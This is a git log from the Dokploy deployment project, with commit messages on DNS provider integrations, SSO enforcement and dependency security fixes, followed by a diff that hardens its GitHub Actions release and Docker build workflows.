comparison still decides. Covered by a test that fails if the first candidate is
trusted.

The apex was the other thing worth checking, since Infomaniak writes it as ".":
filter[source]=. does return the apex records, and an upsert on an existing apex
TXT returns its id rather than creating a second one.

Suggested by @narcisonunez on #5257.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-05 11:48:44 +02:00
Guillaume Juge 57d92b75de chore: drop local scratch files committed by mistake
A git add -A while merging canary swept in .watch/, a local scratch directory
holding monitoring scripts, screenshots and draft comment text. None of it
belongs in this PR.
2026-09-05 11:47:13 +02:00
Guillaume Juge 7e9fdbb5ff Merge canary and regenerate the migration after Infomaniak landed
#5257 merged, so canary now carries the Infomaniak provider and its
0191_cool_christian_walker. This branch's 0191_elite_ultragirl collided on the
number, and the conflicts were the usual "infomaniak and ovh added at the same
spot" across the enum, the config union, the client registry, SENSITIVE_FIELDS,
both providerLabels maps, the icons and the provider form — all resolved by
keeping both.

Regenerated as 0192_light_lake with a current timestamp rather than renaming the
file, so drizzle still applies it on a database that has already run canary's
0191.
2026-09-05 11:21:50 +02:00
Guillaume Juge 2311f346d4 fix(dns): do not report a restored OVH record as lost
restoreRecord had the restore POST and its zone refresh inside one catch. That
was harmless while refreshZone swallowed failures, but the previous commit made
it throw, which brought a new case into that catch: the restore succeeds and
only the publication fails.

The message then told the user the record "has been deleted" and to recreate it
by hand. It exists at OVH, just unpublished, so following that advice duplicates
it as soon as the zone is refreshed.

The two failures are now reported separately. A failed POST still means the
record is really gone and prints what to recreate. A failed refresh after a
successful restore says the record is back but not served yet, and explicitly
says not to recreate it. Either way the original replacement error is kept, so
the user still learns why the type change failed.

Reported by Greptile on #5258.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-05 11:19:26 +02:00
Yash Kumar e9623119bd Merge canary and resolve conflicts by regenerating migration 2026-09-05 11:03:54 +05:30
Narciso E. Núñez Arias d7884c7ce9 Merge pull request #5257 from mitc-gjuge/feat/infomaniak-dns-provider
feat: add Infomaniak DNS provider support
2026-09-04 17:44:11 -04:00
Reza Rahemtola 341f38bba6 fix(notifications): add missing newline to ntfy database backup message 2026-09-04 21:29:07 +02:00
Guillaume Juge 28f71e727a fix(dns): report an OVH zone refresh failure for what it is
refreshZone runs after the record write has already succeeded, so a failure
there means the change exists at the provider but is not being served yet. It
was left unguarded at all six call sites, so the caller saw a bare transport
error and would reasonably read it as "nothing was applied" — while a type
change had already deleted the old record and created its replacement.

Rolling the write back would destroy correct state over a publish failure, and
re-deleting after an uncertain network error is how records get lost. The error
now says what actually happened and how it resolves: the next successful change
to the zone publishes it, or the user can refresh the zone from the OVH manager.

Guarding the helper covers upsertRecord and deleteRecord too, not just the type
change Greptile pointed at.

Reported by Greptile on #5258.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-04 20:23:43 +02:00
Yash Kumar 29e5940e8d chore: revert accidental package.json changes 2026-09-04 22:47:18 +05:30
autofix-ci[bot] 41251b4f1e [autofix.ci] apply automated fixes 2026-09-04 17:13:12 +00:00
Yash Kumar 15bf663aad fix: make fallback og image url absolute for social scrapers 2026-09-04 22:42:48 +05:30
Yash Kumar 13b043edd9 fix: replace metaTitle with ogImageUrl in reset payloads 2026-09-04 22:40:27 +05:30
autofix-ci[bot] 48dfb2b820 [autofix.ci] apply automated fixes 2026-09-04 17:03:38 +00:00
Yash Kumar 62e948a804 Merge branch 'Dokploy:canary' into feat/open-graph-metadata 2026-09-04 21:39:41 +05:30
Yash Kumar b6c83e082e chore: use compressed open graph image 2026-09-04 21:37:15 +05:30
Yash Kumar b5c3d8660e feat: add dynamic open graph metadata for enterprise whitelabeling 2026-09-04 20:56:23 +05:30
Narciso E. Núñez Arias 5c0d3b84af fix(auth): enforce SSO on server-side sign-in endpoints (#5291)
* fix(auth): enforce SSO on server-side sign-in endpoints

Resolves #5288.

- In better-auth hooks.before, reject /sign-in/email and /sign-in/social with FORBIDDEN when webServerSettings.enforceSSO is enabled
- Prevents direct API password authentication when SSO enforcement is enabled

* [autofix.ci] apply automated fixes

* fix(auth): block passkey authentication and email signup when SSO is enforced

- Include /sign-in/passkey, /passkey/verify-authentication, /passkey/generate-authenticate-options, and /sign-up/email in enforced SSO block
- Prevents registered passkeys from bypassing enforced SSO policies

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-09-04 11:09:33 -04:00
Mauricio Siu 7effae35cb Merge pull request #5296 from Dokploy/detail/fix-docs/docs-drop-stale-mcp-json-reference-in-fix-issue-sk-68178b
docs: drop stale .mcp.json reference in fix-issue skill
2026-09-04 09:04:20 -06:00
Mauricio Siu 7fb02abb3e Merge pull request #5295 from Dokploy/detail/fix-docs/docs-fix-reset-password-command-invocation-in-cont-f3c26a
docs: fix reset-password command invocation in CONTRIBUTING
2026-09-04 09:02:58 -06:00
Mauricio Siu 631816f8d1 Merge pull request #5297 from Dokploy/detail/dead-code/chore-remove-unused-filteremptyvalues-and-hasvalue-dd3edc
chore: remove unused filterEmptyValues and hasValues utils
2026-09-04 09:02:05 -06:00
Yash Kumar 1a29694481 feat(ui): smart truncation tooltips, org name limits, and logo UI polish (#5345) 2026-09-04 10:03:44 -04:00
Narciso 19589694ea fix: resolve 6 critical Dependabot alerts
- tar >=7.5.19 (GHSA-23hp-3jrh-7fpw): decompression DoS, pinned via
  pnpm override within 7.x (transitive via @mapbox/node-pre-gyp)
- protobufjs >=7.5.5 (GHSA-xq3m-2v4x-88gg): arbitrary code execution,
  pinned via pnpm override within 7.x (transitive via @grpc/proto-loader,
  @opentelemetry/otlp-transformer)
- shell-quote ^1.8.4 (GHSA-w7jw-789q-3m8p): quote() didn't escape
  newlines in object .op values (direct dep, used for docker/ssh
  command building)
- vitest ^4.1.0 (GHSA-5xrq-8626-4rwp): arbitrary file read/execute via
  UI server (devDependency)
- github.com/gofiber/fiber/v2 v2.52.11 (GHSA-68rr-p4fp-j59v): insecure
  UUIDv4 fallback on crypto/rand failure (apps/monitoring)
- next (GHSA-f82v-jwr5-mffw): authorization bypass in middleware, was
  a transitive dep of react-email in the standalone
  packages/server/src/emails lockfile; regenerating against the
  current react-email version (6.9.3) drops next.js entirely, since
  it no longer uses it for the preview server

Verified: typecheck (server + app) clean, full vitest suite
(947 passed / 5 env-conditional skips, 0 failures), go build/vet/test
clean for apps/monitoring.
2026-09-03 17:51:40 -04:00
somuai 5f10ed6884 fix(auth): block passkey authentication and email signup when SSO is enforced
- Include /sign-in/passkey, /passkey/verify-authentication, /passkey/generate-authenticate-options, and /sign-up/email in enforced SSO block
- Prevents registered passkeys from bypassing enforced SSO policies
2026-09-04 01:11:04 +05:30
detail-app[bot] 399e20c1ed chore: remove unused filterEmptyValues and hasValues utils 2026-09-03 19:15:40 +00:00
detail-app[bot] 5faa363f7a docs: drop stale .mcp.json reference in fix-issue skill 2026-09-03 18:53:08 +00:00
detail-app[bot] 5cbc7efc61 docs: fix reset-password command invocation in CONTRIBUTING 2026-09-03 18:53:07 +00:00
autofix-ci[bot] 9568a4f9f8 [autofix.ci] apply automated fixes 2026-09-03 11:10:44 +00:00
somuai b839e6d6be fix(auth): enforce SSO on server-side sign-in endpoints
Resolves #5288.

- In better-auth hooks.before, reject /sign-in/email and /sign-in/social with FORBIDDEN when webServerSettings.enforceSSO is enabled
- Prevents direct API password authentication when SSO enforcement is enabled
2026-09-03 16:40:21 +05:30
Guillaume Juge 7ae566f4de Merge remote-tracking branch 'origin/canary' into feat/ovh-dns-provider 2026-09-03 10:29:31 +02:00
Guillaume Juge ea9a466c01 Merge remote-tracking branch 'origin/canary' into feat/infomaniak-dns-provider 2026-09-03 10:28:56 +02:00
Philippe Parage e79ed7691f fix(domains): include server interface addresses in validation 2026-09-02 15:05:27 +02:00
Mauricio Siu 6dacab06cd Remove unused journal entry for tag "0190_nappy_anita_blake" from _journal.json 2026-09-02 02:20:27 -06:00
Mauricio Siu b2ed974422 Merge branch 'canary' into codex/5265-aws-parameter-store 2026-09-02 01:57:43 -06:00
Mauricio Siu 62e43b164b Remove unused journal entry for wide Korg from _journal.json 2026-09-02 01:57:34 -06:00
Guillaume Juge 4746cfc1ca Merge canary and regenerate the migration at a free number
canary landed its own 0190 (0190_nappy_anita_blake), which collides with this
branch's 0190_even_mastermind. Renaming would not have been enough: drizzle
applies migrations by comparing timestamps against the last applied one, so this
branch's older `when` would have been silently skipped on any deployment that
had already run canary's 0190, leaving the enum without its new value.

Regenerated as 0191_elite_ultragirl with a current timestamp.
2026-09-02 08:58:09 +02:00
Guillaume Juge 18e617eb14 Merge canary and regenerate the migration at a free number
canary landed its own 0190 (0190_nappy_anita_blake), which collides with this
branch's 0190_perpetual_red_skull. Renaming would not have been enough: drizzle
applies migrations by comparing timestamps against the last applied one, so this
branch's older `when` would have been silently skipped on any deployment that
had already run canary's 0190, leaving the enum without its new value.

Regenerated as 0191_cool_christian_walker with a current timestamp.
2026-09-02 08:57:29 +02:00
Mauricio Siu f67fab0675 Merge pull request #5267 from Dokploy/canary
🚀 Release v0.30.5
2026-09-02 00:52:21 -06:00
Felix 1d26fdd027 feat(vault): add AWS Parameter Store provider 2026-09-02 04:36:21 +02:00
Guillaume Juge f83097b80f fix(dns): spell out the OVH right that lists zones
OVH matches access rules per exact path: a `GET /domain/zone/*` rule grants the
subtree but not the bare `GET /domain/zone` that listZones and testConnection
call. Verified against a live account with a consumer key carrying that single
wildcard rule:

    GET /domain/zone                     -> 403 This call has not been granted
    GET /domain/zone/                    -> 200
    GET /domain/zone/{zone}/record       -> 200

The form only asked for rights on `/domain/zone/*`, so a token created by
following it could not list zones at all, and the failure surfaced as a bare
"This call has not been granted" that points nowhere.

The hint now lists the five rights verbatim, and a token missing the root one
gets an error that names it instead of echoing OVH's message.

Reported by @narcisonunez on #5258.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-01 21:30:07 +02:00
Guillaume Juge 59a74849a8 fix(dns): paginate the documented Infomaniak products endpoint
listZones used /1/product, which lego uses but the API docs don't: it is the
legacy singular route, it returns no pagination metadata, and it 401s for at
least some tokens. The documented /1/products returns `total`, `pages`,
`items_per_page` and `page`, and defaults to 15 domains per page, so an account
with more domains than that would silently lose zones.

Switch to the plural endpoint and walk every page. Verified against a live
account: forcing per_page=2 collects all 5 domains across 3 pages with no
duplicates.

Also inline the single-use createdId helper.

Both reported by @narcisonunez on #5257.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-01 21:02:54 +02:00
Mauricio Siu 27dab3f4bf Merge pull request #5249 from Dokploy/canary
🚀 Release v0.30.4
2026-09-01 12:46:23 -06:00
Guillaume Juge 80a6baf58e fix(dns): restore the original OVH record when a type change fails
Changing a record's type deletes the record then recreates it with the new type,
because OVH's update payload carries no fieldType. If the creation failed the
name was left with nothing and no rollback.

The delete still has to come first, since OVH rejects a CNAME that would sit
alongside other data on the same name. So on a failed creation the original
record is put back from the copy already fetched before the delete, and the
original error is rethrown. If the restore fails too, the error names the record
that has to be recreated by hand.

Reported by Greptile on #5258.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-01 16:29:07 +02:00
Guillaume Juge be4a5da405 fix(dns): match apex records stored under any apex spelling
toSource always writes the apex as ".", but listRecords already accepted "" and
"@" as apex spellings on read. The upsert lookup compared sources strictly, so a
record stored under one of the other spellings would not have matched and the
upsert would have created a duplicate apex record instead of updating it.

Normalize the candidate's source before comparing, so read and match agree.

Reported by Greptile on #5257.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-01 16:28:04 +02:00
Guillaume Juge 2bc22c520d fix(dns): represent the Infomaniak apex as a root dot
Verified against a live Infomaniak account: the API returns `source: "."` for
apex records, not "" as assumed.

Reading them back produced a doubled dot ("..example.com"), and writing "" meant
an apex upsert never matched the existing record, so it would have created a
duplicate apex record instead of updating it.

toSource now emits "." for the apex and toFqdn accepts ".", "" and "@" so a
hand-written record still round-trips.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-01 15:58:31 +02:00
Guillaume Juge e629248dea feat: add OVHcloud DNS provider support
Adds OVHcloud alongside Cloudflare, AWS Route53 and Porkbun, following the
existing DnsClient interface in packages/server/src/utils/dns/.

- ovh.ts implements listZones, listRecords, upsertRecord, updateRecord,
  deleteRecord and testConnection against the /domain/zone endpoints of the
  OVHcloud API, on any of its seven regional endpoints (ovh-eu/ca/us, kimsufi
  and soyoustart).
- A new `ovh` value was added to the DnsProviderType enum along with an
  ovhDnsConfigSchema (endpoint, applicationKey, applicationSecret, consumerKey)
  in the discriminated union, plus the Drizzle migration for the enum change.
- The application secret and the consumer key are masked/merged like the other
  providers' secrets in services/dns-provider.ts.
- UI: OVHcloud icon, an endpoint selector and the three credential fields in the
  DNS provider dialog, plus registration in the provider selector.

Three OVH-specific behaviours are handled explicitly:

- Requests are signed with `$1$` + sha1(applicationSecret+consumerKey+method+
  url+body+timestamp). The timestamp comes from the API's own clock via an
  unauthenticated GET /auth/time, since a host clock a few seconds off would get
  every call rejected; the measured drift is cached per endpoint for an hour.
- OVH only applies zone changes once the zone is explicitly refreshed, so every
  successful create, update and delete is followed by POST /domain/zone/{zone}
  /refresh.
- The record update payload carries no fieldType, so changing a record's type
  replaces the record (DELETE then POST) and returns the new id.

The record listing endpoint returns ids only, so each record is fetched
individually with the fan-out capped at 8 concurrent requests.

Also fills in the missing Porkbun label in show-dns-providers.tsx, which fell
back to displaying the raw enum value.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-01 15:29:01 +02:00
Guillaume Juge ff3ebefc70 feat: add Infomaniak DNS provider support
Adds Infomaniak alongside Cloudflare, AWS Route53 and Porkbun, following the
existing DnsClient interface in packages/server/src/utils/dns/.

- infomaniak.ts implements listZones, listRecords, upsertRecord, updateRecord,
  deleteRecord and testConnection against the Infomaniak API. Zones come from
  /1/product?service_name=domain and records from the v2 /2/zones/{zone}/records
  endpoints, which are keyed by zone name rather than by product id.
- A new `infomaniak` value was added to the DnsProviderType enum along with an
  infomaniakDnsConfigSchema (apiToken) in the discriminated union, plus the
  Drizzle migration for the enum change.
- The token is masked/merged like the other providers in services/dns-provider.ts.
- UI: Infomaniak icon and API Token field in the DNS provider dialog, plus
  registration in the provider selector.

Infomaniak's `source` is relative to the zone (empty for the apex), so record
names are translated between Dokploy's fully-qualified format and Infomaniak's
subdomain-only format internally, with the trailing dot handled. TXT targets are
stored quoted by the API and are unquoted on read / quoted on write so that
editing a record does not stack quotes on every save.

Also fills in the missing Porkbun label in show-dns-providers.tsx, which fell
back to displaying the raw enum value.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-01 15:25:03 +02:00
Souvik Kumar f5c21db1ef fix: mark session cookie as Secure when served over HTTPS
Self-hosted better-auth is configured with secure cookies off so plain
HTTP access (http://<ip>:3000) keeps working, but that also meant the
session cookie never got the Secure attribute even behind HTTPS. A cookie
without Secure can be replayed over plain HTTP.

Add Secure to the auth response cookies per request when X-Forwarded-Proto
is https (what Traefik sends on TLS), leaving plain-HTTP requests untouched.

Fixes #4709
2026-08-09 21:05:37 +05:30
360 changed files with 111664 additions and 7376 deletions
+1 -1
View File
@@ -16,7 +16,7 @@ No instance is running yet — start your own, isolated to this worktree:
until it answers (usually ~10-15s).
3. Use `http://localhost:$PORT` as the base URL for Playwright navigation.
Note: `mcp__dokploy__*` (this repo's `.mcp.json`) resolves its URL from
Note: `mcp__dokploy__*` resolves its URL from
`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port
discovered mid-session. If those tools are unavailable or point at the wrong
instance, fall back to `curl`/`gh api` for API-level checks, or ask the user
+14 -14
View File
@@ -14,34 +14,34 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout Repository
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Get version from package.json
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> $GITHUB_ENV
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> "$GITHUB_ENV"
- name: Get latest GitHub tag
run: |
LATEST_TAG=$(git ls-remote --tags origin | awk -F'/' '{print $3}' | sort -V | tail -n1)
echo "LATEST_TAG=$LATEST_TAG" >> $GITHUB_ENV
echo $LATEST_TAG
echo "LATEST_TAG=$LATEST_TAG" >> "$GITHUB_ENV"
echo "$LATEST_TAG"
- name: Compare versions
run: |
if [ "${{ env.VERSION }}" != "${{ env.LATEST_TAG }}" ]; then
if [ "$VERSION" != "$LATEST_TAG" ]; then
VERSION_CHANGED="true"
else
VERSION_CHANGED="false"
fi
echo "VERSION_CHANGED=$VERSION_CHANGED" >> $GITHUB_ENV
echo "VERSION_CHANGED=$VERSION_CHANGED" >> "$GITHUB_ENV"
echo "Comparing versions:"
echo "Current version: ${{ env.VERSION }}"
echo "Latest tag: ${{ env.LATEST_TAG }}"
echo "Current version: $VERSION"
echo "Latest tag: $LATEST_TAG"
echo "Version changed: $VERSION_CHANGED"
- name: Check if a PR already exists
run: |
PR_EXISTS=$(gh pr list --state open --base main --head canary --json number --jq '. | length')
echo "PR_EXISTS=$PR_EXISTS" >> $GITHUB_ENV
echo "PR_EXISTS=$PR_EXISTS" >> "$GITHUB_ENV"
env:
GH_TOKEN: ${{ secrets.GH_PAT }}
@@ -56,12 +56,12 @@ jobs:
git push origin canary
gh pr create \
--title "🚀 Release ${{ env.VERSION }}" \
--body '
This PR promotes changes from `canary` to `main` for version ${{ env.VERSION }}.
--title "🚀 Release $VERSION" \
--body "
This PR promotes changes from \`canary\` to \`main\` for version $VERSION.
### 🔍 Changes Include:
- Version bump to ${{ env.VERSION }}
- Version bump to $VERSION
- All changes from canary branch
### ✅ Pre-merge Checklist:
@@ -69,7 +69,7 @@ jobs:
- [ ] Documentation updated
- [ ] Docker images built and tested
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)' \
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)" \
--base main \
--head canary \
--label "release" --label "automated pr" || true \
+28 -19
View File
@@ -5,33 +5,38 @@ on:
branches: [main, canary]
workflow_dispatch:
permissions:
contents: read
jobs:
build-and-push-cloud-image:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set tag and version
id: meta-cloud
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
echo "version=$VERSION" >> $GITHUB_OUTPUT
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> $GITHUB_OUTPUT
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> "$GITHUB_OUTPUT"
else
echo "tags=siumauricio/cloud:canary" >> $GITHUB_OUTPUT
echo "tags=siumauricio/cloud:canary" >> "$GITHUB_OUTPUT"
fi
- name: Log in to Docker Hub
uses: docker/login-action@v2
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v4
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.cloud
@@ -48,26 +53,28 @@ jobs:
steps:
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set tag and version
id: meta-schedule
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> $GITHUB_OUTPUT
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> "$GITHUB_OUTPUT"
else
echo "tags=siumauricio/schedule:canary" >> $GITHUB_OUTPUT
echo "tags=siumauricio/schedule:canary" >> "$GITHUB_OUTPUT"
fi
- name: Log in to Docker Hub
uses: docker/login-action@v2
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v4
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.schedule
@@ -80,26 +87,28 @@ jobs:
steps:
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set tag and version
id: meta-server
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> $GITHUB_OUTPUT
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> "$GITHUB_OUTPUT"
else
echo "tags=siumauricio/server:canary" >> $GITHUB_OUTPUT
echo "tags=siumauricio/server:canary" >> "$GITHUB_OUTPUT"
fi
- name: Log in to Docker Hub
uses: docker/login-action@v2
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v4
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.server
+60 -42
View File
@@ -8,18 +8,23 @@ on:
env:
IMAGE_NAME: dokploy/dokploy
permissions:
contents: read
jobs:
docker-amd:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -27,15 +32,15 @@ jobs:
- name: Set tag and version
id: meta
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
- name: Prepare env file
run: |
@@ -43,7 +48,7 @@ jobs:
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
- name: Build and push
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64
@@ -53,13 +58,15 @@ jobs:
runs-on: ubuntu-24.04-arm
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -68,15 +75,15 @@ jobs:
id: meta
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
- name: Prepare env file
run: |
@@ -84,7 +91,7 @@ jobs:
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
- name: Build and push
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/arm64
@@ -96,20 +103,22 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Create and push manifests
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
TAG="latest"
@@ -121,7 +130,7 @@ jobs:
${IMAGE_NAME}:${TAG}-amd64 \
${IMAGE_NAME}:${TAG}-arm64
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
@@ -138,32 +147,37 @@ jobs:
needs: [combine-manifests]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: write
outputs:
version: ${{ steps.get_version.outputs.version }}
npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
fetch-depth: 0
persist-credentials: false
- name: Get version
id: get_version
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
echo "npm_version=${VERSION#v}" >> "$GITHUB_OUTPUT"
- name: Fetch install.sh
env:
RELEASE_VERSION: ${{ steps.get_version.outputs.version }}
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${RELEASE_VERSION}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release
uses: softprops/action-gh-release@v2
uses: softprops/action-gh-release@v3
with:
tag_name: ${{ steps.get_version.outputs.version }}
target_commitish: ${{ github.sha }}
@@ -179,15 +193,19 @@ jobs:
needs: [generate-release]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
env:
NPM_VERSION: ${{ needs.generate-release.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@v6
with:
version: 10.22.0
- uses: actions/setup-node@v4
- uses: actions/setup-node@v7
with:
node-version: 24.4.0
cache: pnpm
@@ -202,63 +220,63 @@ jobs:
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
cp $GITHUB_WORKSPACE/openapi.json src/generated/openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
--allow-empty
git push
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
echo "✅ MCP repo synced to version $NPM_VERSION"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
--allow-empty
git push
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
echo "✅ CLI repo synced to version $NPM_VERSION"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
